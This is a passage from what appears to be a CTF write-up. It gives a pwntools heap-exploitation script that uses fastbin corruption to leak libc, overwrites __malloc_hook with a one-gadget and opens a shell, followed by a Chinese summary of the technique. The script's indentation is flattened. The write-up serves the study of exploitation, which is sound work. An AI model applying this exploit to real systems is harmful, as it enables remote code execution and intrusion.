def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
free(2)
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
alloc(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
alloc(0x60)
alloc(0x60)
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
alloc(255)
p.interactive()
0x06:知识点总结
需要有堆溢出
fastbin 单链表 FILO
fastchunk分配有检查,大小与index要匹配
small chunk被释放后,fd和bk指针指向unsorted bin的表头,这个地址在libc中,相对偏移固定,可利用泄漏fd中的内容来算出libc被加载的地址。
__malloc_hook ,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller) ,当调用 malloc()时,首先判断 hook函数指针是否为空,不为空则调用它。
one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。当我们知道 libc 的版本,并且可以通过信息泄露得到 libc 的基址,则可以通过执行该gadget来获得 shell。